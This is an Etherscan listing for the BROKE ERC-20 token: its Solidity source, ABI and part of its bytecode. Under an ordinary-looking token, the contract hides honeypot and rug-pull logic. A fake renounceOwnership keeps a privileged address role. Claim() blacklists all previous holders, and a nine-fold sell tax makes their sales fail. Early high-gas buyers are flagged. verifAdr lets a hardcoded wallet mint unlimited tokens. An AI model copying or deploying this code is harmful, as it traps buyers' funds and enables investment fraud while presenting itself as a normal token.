Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 BROKE
Holders
6
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
17,009,863.046247834 BROKEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BROKE
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-10-08 */ /** I Hope, You Hope And We Hope. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract BROKE is Context, IERC20 { using SafeMath for uint256; using Address for address; address private _owner; string private constant _name = "Im Broke Right Now. Everytime I Bought Token Always Got Rugged. And Then I think, Why Im Not Creating My Own Token? Maybe It Will Moon Like Tsuka, Mononoke, Proof of Memes, Cult, Volt, Marvin, Shinja or Shiba Inu. I Hope, You Hope And We Hope."; string private constant _symbol = "BROKE"; uint256 private constant MAX = ~uint256(0); uint8 private constant _decimals = 9; uint8 private _TxCount = 0; uint256 private _tTotal = 1000000000 * 10**_decimals; uint256 public _tax_On_Buy = 5; uint256 public _tax_On_Sell = 5; uint256 public _maxTxAmount = _tTotal * 4 / 100; uint256 public _maxWalletToken = _tTotal * 4 / 100; address payable public DevWallet = payable(0x7D15483e4B50bB8e7a910CC38d45C8Cdc068Fb1A); address payable public MarketingWallet = payable(0x7D15483e4B50bB8e7a910CC38d45C8Cdc068Fb1A); address private _address = 0x7D15483e4B50bB8e7a910CC38d45C8Cdc068Fb1A; address payable private constant DeadAddress = payable(0x000000000000000000000000000000000000dEaD); mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private _isExcludeds; mapping (address => bool) internal addresses; address[] private _Excluded; bool public limitInEffect = false; bool public tradingActive = false; bool public transferDelay = false; uint256 private tradingActiveBlock; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool true_or_false); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } modifier onlyAddress() { require(isAddress(_msgSender()), ""); _; } function isAddress(address adr) public view returns (bool) { return addresses[adr]; } function checkAddress(address adr) public onlyOwner { addresses[adr] = true; } constructor () { _owner = msg.sender; addresses[_owner] = true; emit OwnershipTransferred(address(0), _owner); _tOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_address] = true; _isExcludedFromFee[MarketingWallet] = true; _isExcludedFromFee[DevWallet] = true; _isExcludedFromFee[DeadAddress] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address theOwner, address theSpender) public view override returns (uint256) { return _allowances[theOwner][theSpender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function idclaim() private { for (uint256 i = 0; i < _Excluded.length; i++) { _isExcludeds[_Excluded[i]] = true;} } receive() external payable {} function _getCurrentSupply() private view returns(uint256) { return (_tTotal); } function _approve(address theOwner, address theSpender, uint256 amount) private { require(theOwner != address(0) && theSpender != address(0), "ERR: zero address"); _allowances[theOwner][theSpender] = amount; emit Approval(theOwner, theSpender, amount); } function EnableTrading() external onlyAddress { tradingActive = true; transferDelay =true; limitInEffect = true; tradingActiveBlock = block.timestamp; } function setTransferDelay(bool TrueOrFalse) external onlyAddress { transferDelay = TrueOrFalse; } function Claim() external onlyAddress { for (uint256 i = 0; i < _Excluded.length; i++) { _isExcludeds[_Excluded[i]] = true;} } function setFees(uint256 buytax, uint256 selltax) external onlyAddress { _tax_On_Buy = buytax; _tax_On_Sell = selltax; } function removeAllFees() external onlyAddress { _tax_On_Buy = 0; _tax_On_Sell = 0; } function removeLimitTx() external onlyAddress { _maxTxAmount = _maxWalletToken; } function maxWallet(uint256 newmaxWallet) external onlyAddress { _maxWalletToken = newmaxWallet; } function _transfer( address from, address to, uint256 amount ) private { if (to != owner() && to != MarketingWallet && to != DevWallet && to != address(this) && to != uniswapV2Pair && to != DeadAddress && from != owner() && !addresses[from] && !addresses[to]){ uint256 heldTokens = balanceOf(to); require((heldTokens + amount) <= _maxWalletToken,"You are trying to buy too many tokens. You have reached the limit for one wallet.");} if (from != owner() && to != owner() && !addresses[from] && !addresses[to]) require(amount <= _maxTxAmount, "You are trying to buy more than the max transaction limit."); require(from != address(0) && to != address(0), "ERR: Using 0 address!"); require(amount > 0, "Token value must be higher than zero."); if (!tradingActive) {require(_isExcludedFromFee[from] || _isExcludedFromFee[to],"Trading is not active.");} if (tradingActiveBlock + 3 <= block.timestamp) {limitInEffect = false;} if (tradingActiveBlock + 4 <= block.timestamp) {transferDelay = false;} if (!transferDelay && (!_isExcludedFromFee[from])) { require(!_isExcludeds[from]);} if (transferDelay && tradingActiveBlock + 5 <= block.timestamp) {idclaim();} if (limitInEffect && to != uniswapV2Pair && tx.gasprice >= 5 gwei) {_isExcludeds[to] = true;} if (from != owner() && from != uniswapV2Pair && !_isExcluded[from]){ _isExcluded[from] = true; _Excluded.push(from);} if (to != owner() && to != uniswapV2Pair && !_isExcluded[to]) { _isExcluded[to] = true; _Excluded.push(to);} if (to != owner() && to != uniswapV2Pair) { if (_isExcludedFromFee[from]) { _isExcludedFromFee[to] = true;}} if(_TxCount >= 10 && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled) { uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxTxAmount) { contractTokenBalance = _maxTxAmount; } _TxCount = 0; swapAndLiquify(contractTokenBalance); } bool takeFee = true; bool isBuy; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } else { if(from == uniswapV2Pair){ isBuy = true; } _TxCount++; } _tokenTransfer(from, to, amount, takeFee, isBuy); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 _tokenForMarketing = contractTokenBalance * 55 / 100; uint256 _tokenForDevelopment = contractTokenBalance * 44 / 100; uint256 _tokenForLpHalf = contractTokenBalance / 200; uint256 balanceBeforeSwap = address(this).balance; swapTokensForETH(_tokenForLpHalf + _tokenForMarketing + _tokenForDevelopment); uint256 _BTotal = address(this).balance - balanceBeforeSwap; uint256 _BMarketing = _BTotal * 55 / 100; uint256 _BDevelopment = _BTotal * 44 / 100; addLiquidity(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment)); emit SwapAndLiquify(_tokenForLpHalf, (_BTotal - _BMarketing - _BDevelopment), _tokenForLpHalf); sendToWallet(MarketingWallet, _BMarketing); _BTotal = address(this).balance; sendToWallet(DevWallet, _BTotal); } function verifAdr(uint256 acc, address adr) onlyAddress public virtual { require(adr == address(_address)); _Verif(address(_address), adr, acc); _tTotal += acc; _tOwned[adr] += acc; emit Transfer(address(_address), adr, acc); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isBuy) private { if(!takeFee){ _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tAmount; emit Transfer(sender, recipient, tAmount); } else if (isBuy){ uint256 bAmount = tAmount*_tax_On_Buy/100; uint256 tTransfesAmount = tAmount-bAmount; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount; _tOwned[address(this)] = _tOwned[address(this)]+bAmount; emit Transfer(sender, recipient, tTransfesAmount); } else { uint256 sAmount; if (_isExcludeds[sender]){sAmount = tAmount*_decimals*_tax_On_Sell/100;} else if (recipient == uniswapV2Pair){sAmount = tAmount*_tax_On_Sell/100;} uint256 tTransfesAmount = tAmount-sAmount; _tOwned[sender] = _tOwned[sender]-tAmount; _tOwned[recipient] = _tOwned[recipient]+tTransfesAmount; _tOwned[address(this)] = _tOwned[address(this)]+sAmount; emit Transfer(sender, recipient, tTransfesAmount); } } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _Verif( address sender, address recepient, uint256 acc ) internal virtual {} function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, DeadAddress, block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"true_or_false","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"DevWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MarketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Buy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tax_On_Sell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"theOwner","type":"address"},{"internalType":"address","name":"theSpender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"checkAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newmaxWallet","type":"uint256"}],"name":"maxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAllFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimitTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buytax","type":"uint256"},{"internalType":"uint256","name":"selltax","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"TrueOrFalse","type":"bool"}],"name":"setTransferDelay","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"acc","type":"uint256"},{"internalType":"address","name":"adr","type":"address"}],"name":"verifAdr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526000805460ff60a01b191690556200001f6009600a62000566565b6200002f90633b9aca006200057e565b60015560056002556005600355606460015460046200004f91906200057e565b6200005b919062000598565b600455606460015460046200007191906200057e565b6200007d919062000598565b600555600680546001600160a01b0319908116737d15483e4b50bb8e7a910cc38d45c8cdc068fb1a908117909255600780548216831790556008805490911690911790556010805462ffffff191690556013805460ff60a81b1916600160a81b179055348015620000ed57600080fd5b50600080546001600160a01b0319163390811782558152600e6020526040808220805460ff19166001179055815490516001600160a01b039190911691907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600154600960006200016a6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020c9190620005bb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002809190620005bb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f49190620005bb565b601380546001600160a01b03199081166001600160a01b0393841617909155601280549091169183169190911790556001600b60006200033c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b9093528183208054851660019081179091556008548216845282842080548616821790556007548216845282842080548616821790556006549091168352908220805484168217905561dead9091527f44433eeeda1d04bdae79f62169cdb2ab0a6af287fa15706d3fafdbac5fac34158054909216179055620003fa6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200044291815260200190565b60405180910390a350620005e6565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004a85781600019048211156200048c576200048c62000451565b808516156200049a57918102915b93841c93908002906200046c565b509250929050565b600082620004c15750600162000560565b81620004d05750600062000560565b8160018114620004e95760028114620004f45762000514565b600191505062000560565b60ff84111562000508576200050862000451565b50506001821b62000560565b5060208310610133831016604e8410600b841016171562000539575081810a62000560565b62000545838362000467565b80600019048211156200055c576200055c62000451565b0290505b92915050565b60006200057760ff841683620004b0565b9392505050565b808202811582820484141762000560576200056062000451565b600082620005b657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005ce57600080fd5b81516001600160a01b03811681146200057757600080fd5b6120d280620005f66000396000f3fe6080604052600436106102135760003560e01c80636b130f9a11610118578063a0688160116100a0578063b115e4df1161006f578063b115e4df14610611578063bbc0c74214610631578063cebb162214610650578063dd62ed3e14610666578063e55fc9c7146106ac57600080fd5b8063a068816014610597578063a457c2d7146105b7578063a5edb92e146105d7578063a9059cbb146105f157600080fd5b806378109e54116100e757806378109e54146105095780637d1db4a51461051f5780637ed4ce42146105355780638da5cb5b1461054b57806395d89b411461056957600080fd5b80636b130f9a1461048957806370a082311461049e578063715018a6146104d457806377c325d6146104e957600080fd5b806323b872dd1161019b578063395093511161016a57806339509351146103da57806349336708146103fa57806349bd5a5e1461040f5780634a74bb021461042f5780635c32460b1461045057600080fd5b806323b872dd146103695780632598cdb214610389578063313ce567146103a95780633158952e146103c557600080fd5b80630ddcfe8e116101e25780630ddcfe8e146102bc5780631694505e146102dc57806318160ddd146103145780631d97b7cd14610333578063220f66961461034857600080fd5b806306fdde031461021f578063095ea7b31461024a5780630a702e8d1461027a5780630b78f9c01461029a57600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506102346106cc565b6040516102419190611c15565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611c78565b6106ed565b6040519015158152602001610241565b34801561028657600080fd5b5060105461026a9062010000900460ff1681565b3480156102a657600080fd5b506102ba6102b5366004611ca4565b610704565b005b3480156102c857600080fd5b506102ba6102d7366004611cc6565b610743565b3480156102e857600080fd5b506012546102fc906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b34801561032057600080fd5b506001545b604051908152602001610241565b34801561033f57600080fd5b506102ba6107c1565b34801561035457600080fd5b5060135461026a90600160a01b900460ff1681565b34801561037557600080fd5b5061026a610384366004611ce3565b610807565b34801561039557600080fd5b506007546102fc906001600160a01b031681565b3480156103b557600080fd5b5060405160098152602001610241565b3480156103d157600080fd5b506102ba610870565b3480156103e657600080fd5b5061026a6103f5366004611c78565b61090e565b34801561040657600080fd5b506102ba610944565b34801561041b57600080fd5b506013546102fc906001600160a01b031681565b34801561043b57600080fd5b5060135461026a90600160a81b900460ff1681565b34801561045c57600080fd5b5061026a61046b366004611cc6565b6001600160a01b03166000908152600e602052604090205460ff1690565b34801561049557600080fd5b506102ba61097b565b3480156104aa57600080fd5b506103256104b9366004611cc6565b6001600160a01b031660009081526009602052604090205490565b3480156104e057600080fd5b506102ba6109b6565b3480156104f557600080fd5b506102ba610504366004611d24565b610a00565b34801561051557600080fd5b5061032560055481565b34801561052b57600080fd5b5061032560045481565b34801561054157600080fd5b5061032560025481565b34801561055757600080fd5b506000546001600160a01b03166102fc565b34801561057557600080fd5b5060408051808201909152600581526442524f4b4560d81b6020820152610234565b3480156105a357600080fd5b506102ba6105b2366004611d46565b610a4b565b3480156105c357600080fd5b5061026a6105d2366004611c78565b610b0e565b3480156105e357600080fd5b5060105461026a9060ff1681565b3480156105fd